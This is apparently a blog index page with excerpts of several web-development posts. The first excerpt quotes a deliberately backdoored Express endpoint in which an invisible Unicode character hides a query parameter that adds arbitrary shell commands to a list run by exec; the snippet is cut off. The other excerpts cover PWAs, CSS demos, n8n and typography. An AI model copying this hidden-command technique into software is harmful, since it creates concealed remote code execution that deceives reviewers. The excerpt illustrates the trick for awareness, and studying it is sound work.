The Invisible JavaScript Backdoor

Wolfgang Ettlinger carefull crafted this JavaScript snippet, which contains a backdoor. const express = require(‘express’); const util = require(‘util’); const exec = util.promisify(require(‘child_process’).exec); const app = express(); app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ ]; try { await Promise.all(checkCommands.map(cmd => …

Breaking Out of the Box

Patrick Brosset, writing for A List Apart, digging into the Window Controls Overlay for Progressive Web Apps: At the end of the day though, PWAs on desktop are constrained to the window they appear in: a rectangle with a title bar at the top. What if we could think outside this box, and reclaim the …

Checkbox Rasterizer

Fun demo by Emanuel Kluge that processes an image and renders them in a grid of checkboxes. The colouring is done using accent-color. Note that not all browsers support accent-color at the time of writing. Embedded below is a Pen that indicates whether your browser supports it or not. See the Pen CSS accent-color Support …

n8n — Extendable Workflow Automation

With n8n everyone can have their own free node-based workflow automation tool. n8n is self-hostable, so the data stays with you. It can be easily extended and so also used with in-house tools and allows to automate complex tasks. Launch it directly from the CLI via npx n8n or run the offered Docker container. If …

Advent Calendars For Web Designers And Developers

I was planning on posting about the HTMHell Advent Calendar here on bram.us, but over at Smashing Magazine you a whole list of interesting Advent Calendars. Once again, the web community has been busy with creating some fantastic advent calendars this year. As you’ll see, each and every one of these calendars are sure to …

Google Fonts Knowledge

Welcome to our library of original guides to the world of typography, which the Google Fonts team is producing in collaboration with typographic experts from around the world. Google Fonts Knowledge enables designers and developers of all skill sets to choose and use type with purpose. Knowing that Eliott Jay Stocks helped work on this, …

web.dev Community Highlight

As part of Designcember, Rachel Andrew is doing a round of interviews with “people who are doing interesting things in the community with CSS”. I was taken by surprise when Rachel mailed me some time ago, asking if she could ask me a few questions. The result is a Community Highlight on the web.dev website. …